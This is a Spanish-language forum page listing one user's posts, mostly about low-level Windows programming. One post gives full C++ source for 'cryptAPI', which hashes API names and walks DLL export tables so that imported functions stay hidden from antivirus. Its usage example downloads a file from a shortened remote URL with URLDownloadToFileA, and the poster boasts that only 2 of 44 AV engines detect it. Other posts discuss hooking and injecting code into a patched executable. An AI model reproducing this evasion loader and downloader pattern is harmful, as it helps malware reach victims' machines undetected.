Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Karcrack

#131
@Shell Root: Más bien sería no abrir el chat para hablar con Ark :laugh:
#132
Para pocas funciones yo también prefiero usar typedefs y trabajar con los punteros.... Y mira mi último post en h-Sec :-*
#133
Código (cpp) [Seleccionar]
#ifndef CRYPTAPI
#define CRYPTAPI

struct FNV1a{
   template <size_t N>
   __forceinline static DWORD hash(const char (&str)[N]){
       return (hash<N-1>((const char(&)[N-1])str)^str[N-1]) * 16777619u;
   };

   template <>
   __forceinline static DWORD hash<1>(const char (&str)[1]){
       return (2166136261u^str[0]) * 16777619u;
   };

   __forceinline static DWORD hash(char* str){
       DWORD r = 2166136261u;

       do{
           r ^= *str;
           r *= 16777619u;
       }while(*str++);

       return r;
   };
};

struct CUSTOM{
   template <size_t N>
   __forceinline static DWORD hash(const char (&str)[N]){
       return ((hash<N-1>((const char(&)[N-1])str) ^ (str[N-1] << 24)) >> 2);
   };

   template <>
   __forceinline static DWORD hash<1>(const char (&str)[1]){
       return (str[0]<<24)>>2;
   };

   __forceinline static DWORD hash(char* str){
       DWORD r = 0;

       do{
           r ^= (*str << 24);
           r >>= 2;
       }while(*str++);

       return r;
   };
};

template <class ret, class hashFnc = FNV1a> class invoke{
private:
   char*   base;
   DWORD   FuncHash;
public:
   template <size_t N, size_t M>
   invoke(const char (&DLL)[N], const char (&Func)[M]){
       base = (char*)LoadLibraryA(DLL);
       FuncHash = hashFnc::hash<M>(Func);
   };

   ret operator()(int numArgs, ...){
       BYTE*                       dirApi;
       IMAGE_DOS_HEADER*           IDH         = (IMAGE_DOS_HEADER*)base;
       IMAGE_NT_HEADERS*           INH         = (IMAGE_NT_HEADERS*)(base + IDH->e_lfanew);
       IMAGE_OPTIONAL_HEADER*      IOH         = &INH->OptionalHeader;
       IMAGE_DATA_DIRECTORY*       IDE         = (IMAGE_DATA_DIRECTORY*)(&IOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
       IMAGE_EXPORT_DIRECTORY*     IED         = (IMAGE_EXPORT_DIRECTORY *)(base + IDE->VirtualAddress);

       void**                      FTABLE      = (void **)(base + IED->AddressOfFunctions);
       WORD*                       OTABLE      = (WORD *)(base + IED->AddressOfNameOrdinals);
       char**                      NTABLE      = (char **)(base + IED->AddressOfNames);

       for (DWORD i = 0; i <= IED->NumberOfNames; i++){
           if (hashFnc::hash(base + (DWORD)NTABLE[i]) == FuncHash){
               dirApi = (BYTE*)(base + (DWORD)FTABLE[OTABLE[i]]);
               break;
           }
       }
       va_list listaArgs;
       void**  args;

       va_start(listaArgs, numArgs);
       args = &va_arg(listaArgs, void*);

       for(int n=numArgs-1; n>=0; n--){
           void* temp = args[n];
           __asm
               push [temp]
       }
       va_end(listaArgs);

       __asm
           call dirApi
   };
};
#endif


Forma de realizar la llamada:
invoke<%TIPO_DE_RETORNO%,%ALGORITMO_USADO%>(%NOMBRE_DLL%,%NOMBRE_FUNCION%)(%N_PARAMETROS%,%PARAMETRO1%,%PARAMETRO2%,...,%PARAMETRON%);

Ejemplo de uso:
Código (cpp) [Seleccionar]
#pragma comment(linker,"/ENTRY:main")

#include <Windows.h>
#include "cryptAPI.hpp"

void main(){
   invoke<void, FNV1a>("URLMON", "URLDownloadToFileA")(5, 0, "http://goo.gl/veps2", "C:/test.png", 0, 0);
   invoke<BOOL, FNV1a>("KERNEL32", "ExitProcess")(1, 0);
}

2/44 AV lo detectan... Nada mal teniendo en cuenta que ni URLMON ni http:// va ofuscado/cifrado.


Thread original:
http://foro.h-sec.org/programacion/(template)-cryptapi-cifra-la-llamada-a-las-apis-d
#134
Gracias por el vídeo... es increíble que mucha gente crea que son invulnerables.

La única diferencia es que no son objetivo de ataque.
#135
Gracias por la aportación mr.blood :)
Realmente lo ideal sería hookear LdrGetProcedureAddress() a pesar de que recorriendo la EAT manualmente se podría escapar.

Otra librería de [Zero]:
http://foro.elhacker.net/analisis_y_diseno_de_malware/srccasm_clshookapi-t281292.0.html

Saludos
#136
No hay una herramienta "mejor" que el resto de su tipo. La mejor es la que cumpla tus necesidades. Así de simple.
#137
No. No funciona en W$7. Podría repararse la carga de kernel32 para que funcionase, pero otras muchas funcionalidades empiezan a fallar.

El PI tristemente ya está descatalogado. Ahora mismo no hay ninguno decente.
#138
ASM / Re: [Micro-rutina] strlen - ANSI
22 Enero 2013, 12:15 PM
El asunto es que estoy parcheando un PE que tiene una función con este comportamiento (Cadena NULA = 1, etc...) Quería inyectar un poco de código sin necesidad de redireccionarme a/crear codecaves. Substituyendo la función por una de 20bytes tenía más que suficiente para lo que quería inyectar :)

Me encantan este tipo de threads :rolleyes: ;-)
A ver si acabo una función RC4 y vemos cuanto la podemos recortar >:D
#139
ASM / Re: [Micro-rutina] strlen - ANSI
21 Enero 2013, 23:56 PM
Cita de: Eternal Idol 7D en 21 Enero 2013, 20:59 PM
No, una cadena vacia tiene un tamaño de 0 caracteres.
No la función que yo quiero :laugh:


Cita de: mDrinky en 21 Enero 2013, 21:04 PM
La mia si funciona con una cadena nula  :rolleyes:
Devuelve 0 y quiero que sea 1 :-\ Fuera de esa necesidad tu código haría mejor el clone de strlen() y cumple el intel ABI :)
#140
ASM / Re: [Micro-rutina] strlen - ANSI
21 Enero 2013, 20:09 PM
Ninguna de vuestras aproximaciones parece funcionar con una cadena nula ;) >:D

Además la función debe incluir el byte nulo en el tamaño. Por lo tanto, con una cadena nula debe devolver 1.